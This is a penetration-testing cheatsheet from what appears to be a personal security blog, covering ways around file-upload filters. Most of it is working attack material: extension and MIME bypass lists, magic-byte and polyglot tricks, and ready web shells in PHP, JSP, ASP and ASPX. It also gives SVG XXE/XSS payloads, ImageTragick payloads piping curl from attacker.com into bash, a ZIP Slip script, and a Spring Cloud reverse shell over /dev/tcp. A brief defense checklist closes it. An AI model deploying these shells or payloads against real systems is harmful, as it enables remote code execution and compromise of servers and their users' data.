File Upload Bypass Cheatsheet: Extension Bypass, Magic Bytes & RCE | Tağmaç - root@Tagoletta:~#

File Upload Bypass Cheatsheet: Extension Bypass, Magic Bytes & RCE

Thu May 28 2026

Category: Cheatsheet


Extension Blacklist Bypass

If the app blocks specific extensions, try variations:

# PHP variants
.php
.php3 .php4 .php5 .php6 .php7
.phtml .phar .phps
.PHP .Php .PHp .pHp
.php.jpg  (double extension — depends on server config)
.php%00.jpg  (null byte — PHP < 5.3.4)
.php;.jpg   (semicolon trick — some IIS/Nginx configs)
.php.
.php_
.php%20
.php/
.pHtml
# ASP / ASPX variants
.asp .aspx .asa .asax .ascx .ashx .asmx .axd
.ASP .ASPX

# JSP variants
.jsp .jspa .jsps .jspx .jspf
.JSP

# Other server-side
.cfm .cfml  (ColdFusion)
.cgi .pl    (CGI/Perl)
.shtml      (Server-Side Includes)
.svg        (if SVG is parsed/rendered)

MIME Type Bypass

Server checks Content-Type header, not actual file:

# Original blocked request
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--boundary

----boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>
----boundary--

# Bypass: change Content-Type to an allowed type
Content-Type: image/jpeg
# or
Content-Type: image/png
Content-Type: image/gif
Content-Type: text/plain
Content-Type: application/octet-stream

Magic Bytes Bypass

Prepend the magic bytes of an allowed file type to fool content-based checks:

# GIF magic bytes (GIF89a)
echo -e 'GIF89a\n<?php system($_GET["cmd"]); ?>' > shell.php.gif

# JPEG magic bytes (\xff\xd8\xff)
printf '\xff\xd8\xff' > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php

# PNG magic bytes
printf '\x89PNG\r\n\x1a\n' > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php

GIF shell (most common):

GIF89a;<?php system($_GET['cmd']); ?>

Polyglot Files

A valid image that is also valid PHP/JS:

# Create JPEG/PHP polyglot
exiftool -Comment='<?php system($_GET["cmd"]); ?>' normal.jpg
cp normal.jpg shell.php.jpg
# If app executes the .jpg → PHP inside comment is executed

# GIF + PHP polyglot
python3 -c "
data = b'GIF89a' + b'\n' + b'<?php system(\$_GET[\"cmd\"]); ?>'
open('polyglot.gif', 'wb').write(data)
"

Double Extension

# Some servers execute based on FIRST extension, some on LAST
shell.php.jpg     → may execute as PHP if configured
shell.jpg.php     → executed as PHP on most servers
shell.php.png
shell.asp;.jpg    → IIS may execute as ASP
shell.jsp%00.jpg  → null byte truncation

Directory Traversal in Filename

If app uses the filename in a path:

../shell.php
../../var/www/html/shell.php
../../../shell.php
..%2fshell.php
..%2f..%2fshell.php
....//shell.php

Web Shell Payloads

PHP

<?php system($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php echo exec($_GET['cmd']); ?>
<?php @eval($_POST['cmd']); ?>
<?php $f=$_GET['f'];include($f); ?>

# One-liner with obfuscation
<?=`$_GET[0]`?>
<?php $_="\x73\x79\x73\x74\x65\x6d";$_($_GET[0]); ?>

# Full featured webshell
<?php
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    die;
}
?>

JSP

<%@ page import="java.util.*,java.io.*"%>
<%
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream in = p.getInputStream();
byte[] b = new byte[in.available()];
in.read(b);
out.print(new String(b));
%>

ASP

<%
Dim oS
Set oS = Server.CreateObject("WSCRIPT.SHELL")
os.run("cmd.exe /c " & request.form("cmd") & " > c:\inetpub\wwwroot\out.txt")
%>

ASPX

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e) {
    Process p = new Process();
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.Arguments = "/c " + Request.QueryString["cmd"];
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.RedirectStandardOutput = true;
    p.Start();
    Response.Write(p.StandardOutput.ReadToEnd());
}
</script>

SVG XSS

If SVG files are rendered in the browser:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
<!-- SVG XSS -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
  <rect width="100" height="100"/>
</svg>

ImageMagick — ImageTragick (CVE-2016-3714)

If uploaded images are processed by ImageMagick:

# shell.mvg or exploit.gif
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops"|curl http://attacker.com/shell.sh|bash")'
pop graphic-context
# exploit.svg
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1" xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://127.0.0.0/oops"|curl http://attacker.com/shell.sh|bash"" x="0" y="0" height="640px" width="480px"/>
</svg>

ZIP Slip — Path Traversal in Archives

When the server extracts uploaded ZIP files:

import zipfile

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.write('shell.php', '../../var/www/html/shell.php')

# Shell ends up in web root after extraction

Real-World Examples

CVE / Incident Year Product Impact
CVE-2016-3714 (ImageTragick) 2016 ImageMagick RCE via malicious image processing
CVE-2018-11776 2018 Apache Struts File upload + OGNL injection → RCE
ZipSlip 2018 Multiple (Zip extract libs) Path traversal in ZIP → overwrite arbitrary files → RCE
CVE-2019-9670 2019 Zimbra File upload bypass → SSRF → RCE
CVE-2021-21985 2021 VMware vCenter File upload to RCE (no auth)
CVE-2022-26134 2022 Confluence File traversal + upload → RCE

Example: ImageTragick (CVE-2016-3714) — Upload PNG → RCE

# Create malicious "image" (actually MVG file)
cat > exploit.png << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops"|curl http://attacker.com/$(id)|bash")'
pop graphic-context
EOF

# Upload to any site using ImageMagick for thumbnails
curl -F "[email protected]" https://target.com/upload
# ImageMagick processes the file → executes the command
# Attacker's server receives: GET /uid=33(www-data)

Example: PHP File Upload Bypass

# Blacklist blocks .php — try .phtml
cp shell.php shell.phtml
curl -F "[email protected];type=image/jpeg" https://target.com/upload

# Null byte bypass (PHP < 5.3.4)
# In Burp, change filename to: shell.php%00.jpg
# Server sees .jpg (passes check), PHP sees shell.php (executes)

# Double extension (if server passes ALL extensions to PHP)
cp shell.php "shell.php.jpg"
curl -F "[email protected]" https://target.com/upload
# Access: https://target.com/uploads/shell.php.jpg?cmd=id

Example: HTB: Inject — CVE-2022-22963 (Spring Cloud + File Upload)

# Target: Spring Boot app with file upload + cloud function
# CVE-2022-22963: SpEL injection in Spring Cloud Function routing

curl -s -X POST http://target.htb:8080/functionRouter \
  -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("id")' \
  --data-raw 'data' -v

# Reverse shell
curl -X POST http://target.htb:8080/functionRouter \
  -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/attacker/4444 0>&1"})' \
  --data-raw 'x'

Defense Checklist

  • Whitelist only allowed extensions (e.g., jpg, png, pdf) — do not blacklist
  • Validate file content (magic bytes + deep inspection) — not just extension or MIME
  • Store uploaded files outside the web root or with a CDN
  • Rename uploaded files on the server — never use user-provided filenames
  • Disable execution of scripts in upload directories (php_flag engine off in Apache)
  • Scan uploads with antivirus
  • Set Content-Disposition: attachment for served files — prevent inline execution in browser

References